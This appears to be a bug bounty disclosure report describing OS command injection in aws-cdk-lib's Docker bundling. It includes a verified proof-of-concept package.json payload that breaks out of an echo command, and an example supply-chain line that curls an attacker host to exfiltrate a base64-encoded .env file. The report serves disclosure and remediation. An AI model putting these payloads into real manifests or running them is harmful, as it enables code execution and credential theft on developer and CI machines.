AWS VDP · Report #3637898
OS Command Injection in `aws-cdk-lib` NodejsFunction via Unsanitized `OsCommand` Helper (Supply Chain RCE)
How it was found
Asset: aws-cdk-lib (npm package), source: https://github.com/aws/aws-cdk
Severity: High
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command, 'OS Command Injection')
Summary
The NodejsFunction construct in aws-cdk-lib/aws-lambda-nodejs uses an internal helper class named OsCommand to construct shell commands during Docker-based bundling. The OsCommand.write() and OsCommand.writeJson() methods wrap user-controlled data in single quotes (echo '${data}') without escaping embedded single quotes.
When nodeModules is specified, the CDK reads dependency version strings from package.json via extractDependencies(), serializes them with JSON.stringify(), and passes them through OsCommand.writeJson(). Because JSON.stringify() preserves single quotes, a malicious dependency version containing ' characters breaks out of the echo command and injects arbitrary shell commands.
The injected commands execute inside a Docker container that has bind mounts to the host filesystem:
/asset-input→ host project directory (read/write)/asset-output→ host.cdk.stagingdirectory (read/write)
This enables a supply chain attack: a malicious npm package with a crafted version string can achieve arbitrary command execution on any developer machine or CI/CD pipeline running cdk synth or cdk deploy.
Why This is NOT Covered by Existing CDK Security Warnings
AWS CDK displays security warnings during cdk synth for user-facing APIs like commandHooks and goBuildFlags, these are explicitly developer-provided shell commands.
This vulnerability is fundamentally different. The injection occurs inside the CDK's own internal OsCommand helper class. The developer never writes a shell command. They simply declare standard npm dependencies in package.json. The CDK's internal code then unsafely interpolates version strings into a bash -c command without any warning or sanitization.
No existing CDK security warning covers this code path.
Vulnerable Code
File: packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts
-
OsCommand.write()Single-quote injection
public write(filePath: string, data: string): string {
// ...
return `echo '${data}' > "${filePath}"`;
// ^ NO ESCAPING — single quotes in data break out
}
-
OsCommand.writeJson()callswrite()with JSON.stringify output
public writeJson(filePath: string, data: object): string {
const stringifiedData = JSON.stringify(data);
return this.write(filePath, stringifiedData);
// ^ JSON.stringify preserves single quotes from input
}
-
Docker bundling command assembly
When nodeModules is specified, bundling.ts constructs a Docker command:
depsCommand = chain([
osCommand.writeJson(pathJoin(options.outputDir, 'package.json'), { dependencies }),
osCommand.copy(lockFilePath, pathJoin(options.outputDir, this.packageManager.lockFile)),
osCommand.changeDirectory(options.outputDir),
this.packageManager.installCommand.join(' '),
]);
This depsCommand is executed inside Docker via bash -c.
-
Existing (unused) escape function
The same file contains a posixShellEscape helper, but it is not applied to OsCommand:
function posixShellEscape(arg: string): string {
return "'" + arg.replace(/'/g, "'\\''") + "'";
}
Proof of Concept (Verified)
Prerequisites
- Node.js installed
- Docker installed and running
- npm installed
Step 1: Create the project
mkdir cdk_poc_oscommand
cd cdk_poc_oscommand
npm init -y
Step 2: Install dependencies
npm install aws-cdk-lib constructs aws-cdk typescript ts-node @types/node lodash
Step 3: Create tsconfig.json
{
"compilerOptions": {
"target": "es2020",
"module": "commonjs",
"strict": true,
"skipLibCheck": true,
"esModuleInterop": true,
"outDir": "dist",
"types": ["node"]
}
}
Step 4: Create cdk.json
{
"app": "npx ts-node app.ts"
}
Step 5: Create lambda/handler.js
mkdir lambda
// lambda/handler.js
exports.handler = async function() { return "OK"; }
Step 6: Create app.ts
import * as cdk from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
const app = new cdk.App();
const stack = new cdk.Stack(app, 'ReproStack');
new NodejsFunction(stack, 'MyHandler', {
entry: path.join(__dirname, 'lambda', 'handler.js'),
runtime: Runtime.NODEJS_20_X,
bundling: {
forceDockerBundling: true,
nodeModules: ['lodash'],
},
});
app.synth();
Step 7: Inject the payload into package.json
Edit the lodash dependency version in package.json:
{
"dependencies": {
"lodash": "4.17.21' && touch /asset-input/pwned_via_json.txt && echo '"
}
}
Note: Leave all other dependencies unchanged. Only the
lodashversion needs the payload.
Step 8: Run cdk synth
npx cdk synth
Step 9: Verify the payload executed on the HOST filesystem
# Linux/macOS:
ls -la pwned_via_json.txt
# Windows (PowerShell):
Test-Path pwned_via_json.txt
Expected output: The file pwned_via_json.txt exists in the project root directory on the host machine.
Verified Output
Docker command generated by CDK (from actual execution log):
docker run --rm -u "1000:1000" \
-v "C:\\h1\\AWS VDP\\cdk_poc_oscommand:/asset-input:delegated" \
-v "C:\\h1\\AWS VDP\\cdk_poc_oscommand\\cdk.out\\bundling-temp-...:/asset-output:delegated" \
-w "/" cdk-79d7bc6c... \
bash -c "'esbuild' '--bundle' '/asset-input/lambda/handler.js' \
'--target=node20' '--platform=node' '--outfile=/asset-output/index.js' \
'--external:@aws-sdk/*' '--external:lodash' && \
echo '{\"dependencies\":{\"lodash\":\"4.17.21' && \
touch /asset-input/pwned_via_json.txt && \
echo '\"}}' > \"/asset-output/package.json\" && \
cp \"/asset-input/package-lock.json\" \"/asset-output/package-lock.json\" && \
cd \"/asset-output\" && npm ci"
The single-quote injection splits the echo command into three separate shell commands:
echo '{"dependencies":{"lodash":"4.17.21', truncated echo (harmless)touch /asset-input/pwned_via_json.txt, PAYLOAD EXECUTESecho '"}}' > "/asset-output/package.json", broken JSON written
Host filesystem verification:
PS> Test-Path "████████\pwned_via_json.txt"
True
Real-World Attack Scenario (Supply Chain)
A malicious actor publishes an npm package (e.g., @company/analytics-helper) with a crafted package.json:
{
"name": "@company/analytics-helper",
"version": "2.1.0",
"dependencies": {
"lodash": "4.17.21' && curl https://attacker.com/exfil?d=$(cat /asset-input/.env|base64) && echo '"
}
}
When a developer installs this package and runs cdk synth with nodeModules, the CDK's extractDependencies() reads the version string and injects it into a Docker bash -c command. The attacker exfiltrates the developer's .env file (containing AWS credentials, API keys, etc.) without the developer ever seeing a shell command or a security warning.
Addressing Potential Mitigations
"Docker provides isolation"
The Docker container uses bind mounts that map /asset-input to the host's project directory. Injected commands can read, modify, or delete files on the host filesystem, including .env, .git/config, source code, and potentially ~/.aws/credentials if the project root is a parent directory.
"The developer controls package.json"
In the supply chain scenario, the developer does not control the version strings of transitive dependencies. A malicious npm package deep in the dependency tree can inject arbitrary commands through its own package.json version declarations.
"This is similar to commandHooks"
No. commandHooks is a user-facing API where the developer explicitly provides shell commands. CDK correctly warns about this. OsCommand is an internal implementation detail, the developer provides standard package.json dependency declarations and has no visibility into the shell commands generated internally.
Remediation
Apply the existing posixShellEscape function (already in bundling.ts) to all OsCommand methods:
class OsCommand {
public write(filePath: string, data: string): string {
if (this.osPlatform === 'win32') { ... }
return `echo ${posixShellEscape(data)} > ${posixShellEscape(filePath)}`;
}
public copy(src: string, dest: string): string {
if (this.osPlatform === 'win32') { ... }
return `cp ${posixShellEscape(src)} ${posixShellEscape(dest)}`;
}
}
Impact
This vulnerability allows a remote attacker to achieve arbitrary Remote Code Execution (RCE) on the host machine where cdk synth or cdk deploy is executed. Through the use of a malicious npm dependency, the attacker can invisibly execute commands within the Docker bundling container, which shares bind mounts (/asset-input and /asset-output) with the host filesystem. This grants the attacker full read, write, and delete access to the developer's project directory, allowing them to exfiltrate sensitive secrets (such as .env files or AWS credentials), tamper with the deployed Lambda artifacts to insert backdoors, or compromise automated CI/CD pipelines.
CVSS 3.1 Score: 8.6 (High) CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack Vector (Local): The victim must pull the malicious package locally (or in a CI/CD runner) and execute the CDK CLI tool.
- User Interaction (Required): The victim must run
cdk synthorcdk deploy. - Scope (Changed): The command starts within the Docker container context but escapes to affect the host filesystem via bind mounts.
- Confidentiality, Integrity, Availability (High): The attacker gains arbitrary code execution, allowing full read/write access to project files, secrets, and system resources.